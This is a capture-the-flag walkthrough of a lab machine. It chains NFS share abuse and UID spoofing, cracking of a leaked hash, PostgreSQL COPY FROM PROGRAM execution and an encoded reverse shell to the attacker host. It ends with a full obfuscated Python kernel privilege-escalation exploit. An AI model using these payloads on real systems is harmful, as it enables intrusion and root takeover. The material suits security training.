Machine Slonik
This machine consists of exploiting an insecure NFS share that leaks sensitive database histories and the solution consists of recovering PostgreSQL credentials, achieving remote code execution, and ultimately escalating privileges by exploiting the CVE-2026-31431 (Copy Fail) kernel vulnerability.
Reconnaissance
First, a port scan is conducted to identify exposed services on the target.
$ mkdir nmap content exploits
$ cd nmap
$ sudo nmap -sS -p- --open --min-rate 5000 -n -Pn 10.129.234.160 -vvv -oN allPorts
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 10:49 -0500
Initiating SYN Stealth Scan at 10:49
Scanning 10.129.234.160 [65535 ports]
Discovered open port 22/tcp on 10.129.234.160
Discovered open port 111/tcp on 10.129.234.160
Discovered open port 57755/tcp on 10.129.234.160
Discovered open port 43555/tcp on 10.129.234.160
Discovered open port 58383/tcp on 10.129.234.160
Discovered open port 2049/tcp on 10.129.234.160
Discovered open port 51671/tcp on 10.129.234.160
Discovered open port 42201/tcp on 10.129.234.160
Completed SYN Stealth Scan at 10:49, 13.23s elapsed (65535 total ports)
Nmap scan report for 10.129.234.160
Host is up, received user-set (0.077s latency).
Scanned at 2026-07-21 10:49:18 -05 for 14s
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
42201/tcp open unknown syn-ack ttl 63
43555/tcp open unknown syn-ack ttl 63
51671/tcp open unknown syn-ack ttl 63
57755/tcp open unknown syn-ack ttl 63
58383/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
Raw packets sent: 65753 (2.893MB) | Rcvd: 65560 (2.622MB)
The initial scan reveals multiple open ports. A targeted scan is then performed to gather version information and run basic reconnaissance scripts.
$ sudo nmap -sCV -p22,111,2049,42201,43555,51671,57755,58383 -n -Pn 10.129.234.160 -vvv -oN targeted
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-21 10:53 -0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
Initiating SYN Stealth Scan at 10:53
Scanning 10.129.234.160 [8 ports]
Discovered open port 22/tcp on 10.129.234.160
Discovered open port 51671/tcp on 10.129.234.160
Discovered open port 43555/tcp on 10.129.234.160
Discovered open port 2049/tcp on 10.129.234.160
Discovered open port 58383/tcp on 10.129.234.160
Discovered open port 111/tcp on 10.129.234.160
Discovered open port 42201/tcp on 10.129.234.160
Discovered open port 57755/tcp on 10.129.234.160
Completed SYN Stealth Scan at 10:53, 0.13s elapsed (8 total ports)
Initiating Service scan at 10:53
Scanning 8 services on 10.129.234.160
Completed Service scan at 10:53, 6.80s elapsed (8 services on 1 host)
NSE: Script scanning 10.129.234.160.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 2.23s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.32s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
Nmap scan report for 10.129.234.160
Host is up, received user-set (0.089s latency).
Scanned at 2026-07-21 10:53:23 -05 for 10s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCg2ZwoeeTHpT0NE9y1kgjXCoLjxWI1WocvyxcphoTOikVc/BKLBjSRv3k5cnDz1O5EodAsYYJipkYxKxNXLcPY=
| 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY88SdKd54ftUGvVdXkYtlmsHDrKGeGVgu6PykWXISO
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 53375/udp6 mountd
| 100005 1,2,3 53629/udp mountd
| 100005 1,2,3 55339/tcp6 mountd
| 100005 1,2,3 57755/tcp mountd
| 100021 1,3,4 35855/tcp6 nlockmgr
| 100021 1,3,4 43555/tcp nlockmgr
| 100021 1,3,4 56517/udp6 nlockmgr
| 100021 1,3,4 58621/udp nlockmgr
| 100024 1 36855/udp status
| 100024 1 48215/tcp6 status
| 100024 1 50823/udp6 status
| 100024 1 58383/tcp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
42201/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
43555/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
51671/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
57755/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
58383/tcp open status syn-ack ttl 63 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:53
Completed NSE at 10:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.71 seconds
Raw packets sent: 8 (352B) | Rcvd: 8 (352B)
The results show an active SSH service running on a Ubuntu system, along with rpcbind on port 111 and nfs_acl on port 2049, indicating the presence of Network File System (NFS) shares.
Exploring NFS Shares
The showmount command is utilized to discover the shared directories on the target.
$ showmount -e 10.129.234.160
Export list for 10.129.234.160:
/var/backups *
/home *
The output reveals a backups directory and a home directory. The backups directory is mounted locally to inspect its contents.
$ cd ../content
$ sudo mkdir -p nfs_content
$ sudo mount -t nfs 10.129.234.160:/var/backups ./nfs_content
$ ls nfs_content
archive-2026-07-21T1746.zip archive-2026-07-21T1748.zip archive-2026-07-21T1750.zip
archive-2026-07-21T1747.zip archive-2026-07-21T1749.zip archive-2026-07-21T1751.zip
Several ZIP backups are found. The home directory is also mounted to explore potential user files.
$ sudo mkdir -p nfs_home
$ sudo mount -t nfs 10.129.234.160:/home ./nfs_home
$ ls nfs_home
service
$ ls -la nfs_home
total 8
drwxr-xr-x 3 root root 4096 Oct 24 2023 .
drwxr-xr-x 1 fu11shoot fu11shoot 38 Jul 21 12:54 ..
drwxr-x--- 5 1337 1337 4096 Sep 22 2025 service
A service directory is identified. The permissions indicate that it belongs to a user and group with the ID 1337.
Accessing the Service Directory
To bypass the file access restrictions, a local user and group matching the ID 1337 are created.
$ sudo groupadd -g 1337 grp1337
$ sudo useradd -u 1337 -g 1337 -M -s /bin/zsh usr1337
$ sudo su usr1337
Switching to this newly created user provides access to read the contents of the service directory.
$ ls -la nfs_home/service
total 40
drwxr-x--- 5 usr1337 grp1337 4096 Sep 22 2025 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-r--r-- 1 usr1337 grp1337 90 Sep 22 2025 .bash_history
-rw-r--r-- 1 usr1337 grp1337 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 usr1337 grp1337 3771 Oct 24 2023 .bashrc
drwx------ 2 usr1337 grp1337 4096 Oct 24 2023 .cache
drwxrwxr-x 3 usr1337 grp1337 4096 Oct 24 2023 .local
-rw-r--r-- 1 usr1337 grp1337 807 Oct 24 2023 .profile
-rw-r--r-- 1 usr1337 grp1337 326 Sep 22 2025 .psql_history
drwxrwxr-x 2 usr1337 grp1337 4096 Oct 24 2023 .ssh
The directory contains interesting history files. Reviewing .bash_history uncovers a PostgreSQL user named postgres and a Unix domain socket.
$ cat nfs_home/service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
Next, the .psql_history file is examined, revealing database interactions, including the insertion of a username and an MD5 hashed password into a table.
$ cat nfs_home/service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q
The MD5 hash aaabf0d39951f3e6c3e8a7911df524c2 is checked against known passwords using a service like hashes.com, successfully yielding the plaintext password.
aaabf0d39951f3e6c3e8a7911df524c2:service
An attempt is made to log into the machine via SSH using the newly found credentials.
$ ssh service@10.129.234.160
The authenticity of host '10.129.234.160 (10.129.234.160)' can't be established.
ED25519 key fingerprint is: SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/usr1337/.ssh' (No such file or directory).
Failed to add the host to the list of known hosts (/home/usr1337/.ssh/known_hosts).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.129.234.160) Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Jul 21 18:59:24 UTC 2026
System load: 0.17
Usage of /: 44.5% of 6.59GB
Memory usage: 8%
Swap usage: 0%
Processes: 229
Users logged in: 0
IPv4 address for eth0: 10.129.234.160
IPv6 address for eth0: dead:beef::a0de:adff:fe1f:78f6
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Connection to 10.129.234.160 closed.
The connection immediately closes upon login, preventing interactive access. However, SSH can still be used to set up local port forwarding to access the PostgreSQL socket found earlier.
$ ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
The authenticity of host '10.129.234.160 (10.129.234.160)' can't be established.
ED25519 key fingerprint is: SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/usr1337/.ssh' (No such file or directory).
Failed to add the host to the list of known hosts (/home/usr1337/.ssh/known_hosts).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.129.234.160) Password:
With the socket forwarded, a connection is made to the PostgreSQL database running locally.
$ psql -h 127.0.0.1 -p 5432 -U postgres -W
Password:
psql (18.4, server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.
postgres=#
Remote code execution can be achieved by utilizing the PostgreSQL COPY ... FROM PROGRAM statement. A temporary table is created to store the output of system commands.
postgres=# CREATE TEMP TABLE command (line text);
CREATE TABLE
postgres=# COPY command FROM PROGRAM 'ls -la';
COPY 24
postgres=# SELECT * FROM command;
line
------------------------------------------------------------------------
total 92
drwx------ 19 postgres postgres 4096 Jul 21 15:44 .
drwxr-xr-x 3 postgres postgres 4096 Oct 23 2023 ..
-rw------- 1 postgres postgres 3 Oct 23 2023 PG_VERSION
drwx------ 7 postgres postgres 4096 Oct 24 2023 base
drwx------ 2 postgres postgres 4096 Jul 21 15:45 global
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_commit_ts
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_dynshmem
drwx------ 4 postgres postgres 4096 Jul 21 19:39 pg_logical
drwx------ 4 postgres postgres 4096 Oct 23 2023 pg_multixact
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_notify
drwx------ 2 postgres postgres 4096 Jul 21 19:39 pg_replslot
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_serial
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_snapshots
drwx------ 2 postgres postgres 4096 Jul 21 15:44 pg_stat
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_stat_tmp
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_subtrans
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_tblspc
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_twophase
drwx------ 3 postgres postgres 4096 Jul 21 19:39 pg_wal
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_xact
-rw------- 1 postgres postgres 88 Oct 23 2023 postgresql.auto.conf
-rw------- 1 postgres postgres 130 Jul 21 15:44 postmaster.opts
-rw------- 1 postgres postgres 98 Jul 21 15:44 postmaster.pid
(24 rows)
The command execution proves successful. A netcat listener is set up on port 443 to catch an incoming shell.
$ sudo nc -nlvp 443
Listening on 0.0.0.0 443
A base64 encoded reverse shell payload is then executed through the database to avoid syntax issues.
postgres=# DROP TABLE command;
DROP TABLE
postgres=# CREATE TEMP TABLE command (line text);
CREATE TABLE
postgres=# COPY command FROM PROGRAM 'printf L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljg3LzQ0MyAwPiYxCg== | base64 -d | bash';
The reverse shell connection is successfully caught.
Connection received on 10.129.234.160 53816
bash: cannot set terminal process group (30675): Inappropriate ioctl for device
bash: no job control in this shell
With shell access established, the user flag is read.
$ cd /
cd /
$ find / -name user.txt 2>/dev/null
find / -name user.txt 2>/dev/null
/var/lib/postgresql/user.txt
$ cat /var/lib/postgresql/user.txt
cat /var/lib/postgresql/user.txt
[FLAG]
To facilitate an easier environment for privilege escalation, a proper TTY is spawned using script.
$ cd /var/lib/postgresql/14/main
$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@slonik:/var/lib/postgresql/14/main$ ^Z
zsh: suspended sudo nc -nlvp 443
$ stty raw -echo; fg
$ reset xterm
$ export TERM=xterm
System information is retrieved to check the kernel version.
$ uname -a
Linux slonik 6.8.0-1036-aws #38~22.04.1-Ubuntu SMP Fri Aug 22 15:44:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
The system is found to be running a kernel version vulnerable to the "Copy Fail" exploit (CVE-2026-31431). A Python script (exploit.py) is written to leverage this vulnerability.
$ nano exploit.py
$ cat exploit.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
h=279
v=a.setsockopt
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
u,_=a.accept()
o=t+4
i=d('00')
u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768)
r,w=g.pipe()
n=g.splice
n(f,w,o,offset_src=0)
n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160"
"c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e"
"10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Running the script successfully exploits the kernel flaw, providing a root shell.
$ python3 exploit.py && su
$ whoami
root
Finally, the root flag is retrieved, completing the compromise of the machine.
$ find / -name root.txt 2>/dev/null
/root/root.txt
$ cat /root/root.txt
[FLAG]